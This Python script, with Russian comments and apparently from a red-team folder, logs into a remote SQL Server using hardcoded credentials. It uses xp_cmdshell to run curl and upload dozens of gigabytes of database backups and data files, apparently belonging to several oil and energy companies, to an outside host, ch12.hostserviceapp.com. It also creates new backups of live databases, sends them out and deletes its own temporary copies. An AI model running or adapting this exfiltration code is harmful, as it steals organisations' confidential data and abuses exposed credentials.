#!/usr/bin/env python3 r""" Q2 v3 — ПО УКАЗАНИЮ ОПЕРАТОРА: без certutil, только отправка файлов на ch12. Хеши НЕ считаем на сервере; пишем size (дешёвый for %F) + URL. Два уже посчитанных хеша (PIGOTT, Palmdale01) вносим из кэша. Сверка целостности — на стороне ch12 оператором (sha256sum там). Чужие файлы (Q2-A/Q2-C) НЕ удаляем; свой временный .bak (Q2-B) — удаляем после URL. """ import re import subprocess import sys import time from datetime import datetime from pathlib import Path SQLCMD = [ "docker", "run", "--rm", "--network", "host", "mcr.microsoft.com/mssql/server:2022-latest", "/opt/mssql-tools18/bin/sqlcmd", "-S", "50.21.183.111", "-U", "irely", "-P", "iRely486", "-C", "-d", "master", "-s", "|", "-W", ] CH12 = "https://ch12.hostserviceapp.com" BAKDIR = r"D:\irelyinstall\backup" SQLDATA = r"D:\i21SQLData" SI = Path("/root/ir-assessment/redteam/irelydata/schema_inventory") CHECKSUMS = SI / "q2_checksums.tsv" PING_QUERY = ("SET NOCOUNT ON; EXEC xp_cmdshell 'curl -sS -o nul -m 20 " "-w \"%{http_code}\" " + CH12 + "/'") # хеши, уже посчитанные certutil в первом запуске (не повторяем) KNOWN = { BAKDIR + "\\2210PIGOTTOILUAP01_09152026.bak": ("61295883776", "2d0023e83ce2dd84494c65d3a88e632a65412f5eb69287b6b08ec866f6100193"), BAKDIR + "\\Jenkins4_2430Palmdale01_01292026.bak": ("100253564416", "7f36b39f87e0b449fcf55679567a4a247507e9ff2e72a5375b30ee41e702f9fa"), } # (phase, name, path, delete_after, note) TASKS = [ ("Q2-B", "2210PIGOTTOILUAP01", BAKDIR + r"\2210PIGOTTOILUAP01_09152026.bak", True, "готовый .bak 57.09GB (hash известен) -> upload -> del свой"), ("Q2-A", "Jenkins4_2430Palmdale01_01292026.bak", BAKDIR + r"\Jenkins4_2430Palmdale01_01292026.bak", False, "93.37GB их файл (hash известен), НЕ удаляем"), ("Q2-A", "2510PALMDALEOILUAP01_backup_11172025.bak", BAKDIR + r"\2510PALMDALEOILUAP01_backup_11172025.bak", False, "44.66GB их файл"), ("Q2-A", "Jenkins4_2210JOHNSONPETROUAP01_07152026.bak", BAKDIR + r"\Jenkins4_2210JOHNSONPETROUAP01_07152026.bak", False, "44.45GB их файл"), ("Q2-A", "Jenkins4_CHERRYENERGYUAP01_04062026.bak", BAKDIR + r"\Jenkins4_CHERRYENERGYUAP01_04062026.bak", False, "16.2GB их файл"), ("Q2-A", "Jenkins4_PALMDALEOILUAP01_08052026.bak", BAKDIR + r"\Jenkins4_PALMDALEOILUAP01_08052026.bak", False, "3.8GB их файл"), ("Q2-C", "BERRYOILUAP101.mdf", SQLDATA + r"\BERRYOILUAP101.mdf", False, "отмонтированный; ACL может блокировать чтение (проверка одной попыткой)"), ("Q2-C", "BERRYOILUAP101.LDF", SQLDATA + r"\BERRYOILUAP101.LDF", False, ""), ("Q2-C", "2310DallmyrUAP101.mdf", SQLDATA + r"\2310DallmyrUAP101.mdf", False, ""), ("Q2-C", "2310DallmyrUAP101.ldf", SQLDATA + r"\2310DallmyrUAP101.ldf", False, ""), ("Q2-C", "PIGOTTOILUAP01_Primary.mdf", SQLDATA + r"\PIGOTTOILUAP01_Primary.mdf", False, ""), ("Q2-C", "PIGOTTOILUAP01_log.ldf", SQLDATA + r"\PIGOTTOILUAP01_log.ldf", False, ""), ] def sql(query: str, timeout: int = 590) -> str: p = subprocess.run(SQLCMD + ["-Q", query], capture_output=True, text=True, timeout=timeout) junk = ("SQL Server 2022 will run", "This container is running", "go.microsoft") return "\n".join(l for l in p.stdout.splitlines() if not any(j in l for j in junk)) def log(msg: str): print(f"[{datetime.now().strftime('%H:%M:%S')}] {msg}", flush=True) def ch12_alive(rounds=6, wait_s=300): for i in range(rounds): out = sql(PING_QUERY, timeout=120) if "200" in out: return True log(f" ch12 down ({i+1}/{rounds}) — жду {wait_s//60} мин") time.sleep(wait_s) return False def main(): out = sql(PING_QUERY, timeout=120) if "200" not in out: log(f"FATAL: ch12 недоступен на старте: {out[:100]}") sys.exit(1) log(f"ch12 жив: {out.strip()[:50]}") if not CHECKSUMS.exists(): CHECKSUMS.write_text("phase\titem\tsource_path\tsize_bytes\tsha256\turl\tstatus\n") results = [] with CHECKSUMS.open("a") as cf: for phase, name, path, delete_after, note in TASKS: log(f"--- {phase} UPLOAD {name} ---") try: # size (дешёво) + проверка существования out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{path}\" (for %F in (\"{path}\") do @echo SIZE=%~zF) else (echo MISSING)'", timeout=590) if "MISSING" in out or "SIZE=" not in out: log(f" {name}: MISSING — пропуск") cf.write(f"{phase}\t{name}\t{path}\t\t\t\tFAIL_SOURCE_MISSING\n"); cf.flush() results.append((phase, name, "FAIL_SOURCE_MISSING")) continue size = re.search(r"SIZE=(\d+)", out).group(1) sha = KNOWN.get(path, ("", ""))[1] log(f" {name}: size={size} ({int(size)/1024**3:.2f} GB){', hash из кэша' if sha else ''}") # upload (до 3 попыток, каждая с ожиданием ch12) url = "" for attempt in (1, 2, 3): if not ch12_alive(): log(f" {name}: ch12 не ожил — файл остаётся на сервере") break t0 = time.time() try: out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'curl -sS -T \"{path}\" {CH12}'", timeout=28800) except subprocess.TimeoutExpired: out = "UPLOAD_TIMEOUT" mu = re.search(r"https://ch12\.hostserviceapp\.com/\S+", out) if mu: url = mu.group(0).strip() log(f" {name}: uploaded за {time.time()-t0:.0f}s ({int(size)/1024**2/max(time.time()-t0,1):.1f} MB/s) -> {url}") break low = out.lower() if "access is denied" in low or "failed opening" in low or "couldn't open" in low: log(f" {name}: curl не может прочитать файл (ACL): {out[:120]}") cf.write(f"{phase}\t{name}\t{path}\t{size}\t{sha}\t\tFAIL_ACL_DENIED\n"); cf.flush() url = None break log(f" {name}: попытка {attempt} неудачна: {out[:120]}") time.sleep(60) if url is None: results.append((phase, name, "FAIL_ACL_DENIED")) continue if not url: cf.write(f"{phase}\t{name}\t{path}\t{size}\t{sha}\t\tFAIL_UPLOAD_KEPT_ON_SERVER\n"); cf.flush() results.append((phase, name, "FAIL_UPLOAD_KEPT_ON_SERVER")) continue # del только СВОЕГО временного .bak if delete_after: out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'del \"{path}\"'; EXEC xp_cmdshell 'if exist \"{path}\" (echo STILL_THERE) else (echo GONE)'", timeout=590) status = "OK_PENDING_CH12_CHECKSUM" if "GONE" in out else "WARN_DEL_FAILED" cf.write(f"{phase}\t{name}\t{path}\t{size}\t{sha}\t{url}\t{status} | temp deleted\n"); cf.flush() else: out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{path}\" (echo KEPT) else (echo LOST)'", timeout=590) status = "OK_PENDING_CH12_CHECKSUM" if "KEPT" in out else "WARN_SOURCE_LOST" cf.write(f"{phase}\t{name}\t{path}\t{size}\t{sha}\t{url}\t{status} | source kept\n"); cf.flush() log(f" {name}: {status} {note}") results.append((phase, name, status)) except subprocess.TimeoutExpired: log(f" {name}: TIMEOUT — файл не трогаю") cf.write(f"{phase}\t{name}\t{path}\t\t\t\tFAIL_TIMEOUT\n"); cf.flush() results.append((phase, name, "FAIL_TIMEOUT")) except Exception as e: log(f" {name}: EXC {type(e).__name__}: {e}") cf.write(f"{phase}\t{name}\t{path}\t\t\t\tFAIL_EXC:{type(e).__name__}\n"); cf.flush() results.append((phase, name, f"FAIL_EXC:{type(e).__name__}")) # Q2-B: два живых предка — BACKUP всё же нужен (данных нет в готовых файлах) for db, note in [("2610DALLMYRUAP01", "предок 2710DALLMYRUAP01, 7.2GB live"), ("2620Palmdale01", "предок 2610PAMDALEUAP01, 1.5GB live")]: bakpath = f"{BAKDIR}\\{db}_09152026.bak" log(f"--- Q2-B BACKUP {db} ---") try: chk = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{bakpath}\" (echo EXISTS) else (echo FREE)'") if "EXISTS" in chk: cf.write(f"Q2-B\t{db}\t{bakpath}\t\t\t\tSKIP_NAME_COLLISION\n"); cf.flush() results.append(("Q2-B", db, "SKIP_NAME_COLLISION")) continue t0 = time.time() out = sql( f"SET NOCOUNT ON;" f"BACKUP DATABASE [{db}] TO DISK = N'{bakpath}' WITH COMPRESSION, COPY_ONLY, INIT, CHECKSUM, STATS=10;" f"RESTORE VERIFYONLY FROM DISK = N'{bakpath}' WITH CHECKSUM;" f"EXEC xp_cmdshell 'for %F in (\"{bakpath}\") do @echo SIZE=%~zF';", timeout=14400) if "successfully processed" not in out or "is valid" not in out: log(f" {db}: BACKUP/VERIFY fail:\n{out[-500:]}") cf.write(f"Q2-B\t{db}\t{bakpath}\t\t\t\tFAIL_BACKUP_OR_VERIFY\n"); cf.flush() results.append(("Q2-B", db, "FAIL_BACKUP_OR_VERIFY")) continue size = re.search(r"SIZE=(\d+)", out).group(1) if re.search(r"SIZE=(\d+)", out) else "" log(f" {db}: BACKUP+VERIFY ok за {time.time()-t0:.0f}s, size={size}") url = "" for attempt in (1, 2): if not ch12_alive(): break t0 = time.time() try: out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'curl -sS -T \"{bakpath}\" {CH12}'", timeout=28800) except subprocess.TimeoutExpired: out = "UPLOAD_TIMEOUT" mu = re.search(r"https://ch12\.hostserviceapp\.com/\S+", out) if mu: url = mu.group(0).strip() log(f" {db}: uploaded за {time.time()-t0:.0f}s -> {url}") break log(f" {db}: upload попытка {attempt} неудачна: {out[:120]}") time.sleep(60) if not url: cf.write(f"Q2-B\t{db}\t{bakpath}\t{size}\t\t\tFAIL_UPLOAD_BAK_KEPT\n"); cf.flush() results.append(("Q2-B", db, "FAIL_UPLOAD_BAK_KEPT")) continue out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'del \"{bakpath}\"'; EXEC xp_cmdshell 'if exist \"{bakpath}\" (echo STILL_THERE) else (echo GONE)'", timeout=590) status = "OK_PENDING_CH12_CHECKSUM" if "GONE" in out else "WARN_DEL_FAILED" cf.write(f"Q2-B\t{db}\t{bakpath}\t{size}\t\t{url}\t{status} | temp deleted | {note}\n"); cf.flush() log(f" {db}: {status}") results.append(("Q2-B", db, status)) except subprocess.TimeoutExpired: cf.write(f"Q2-B\t{db}\t{bakpath}\t\t\t\tFAIL_TIMEOUT\n"); cf.flush() results.append(("Q2-B", db, "FAIL_TIMEOUT")) except Exception as e: cf.write(f"Q2-B\t{db}\t{bakpath}\t\t\t\tFAIL_EXC:{type(e).__name__}\n"); cf.flush() results.append(("Q2-B", db, f"FAIL_EXC:{type(e).__name__}")) log("=== Q2 v3 ЗАВЕРШЕНА ===") oks = sum(1 for r in results if r[2].startswith("OK")) log(f"OK: {oks}/{len(results)}") for ph, nm, st in results: if not st.startswith("OK"): log(f" НЕ-OK: {ph} {nm} -> {st}") if __name__ == "__main__": main()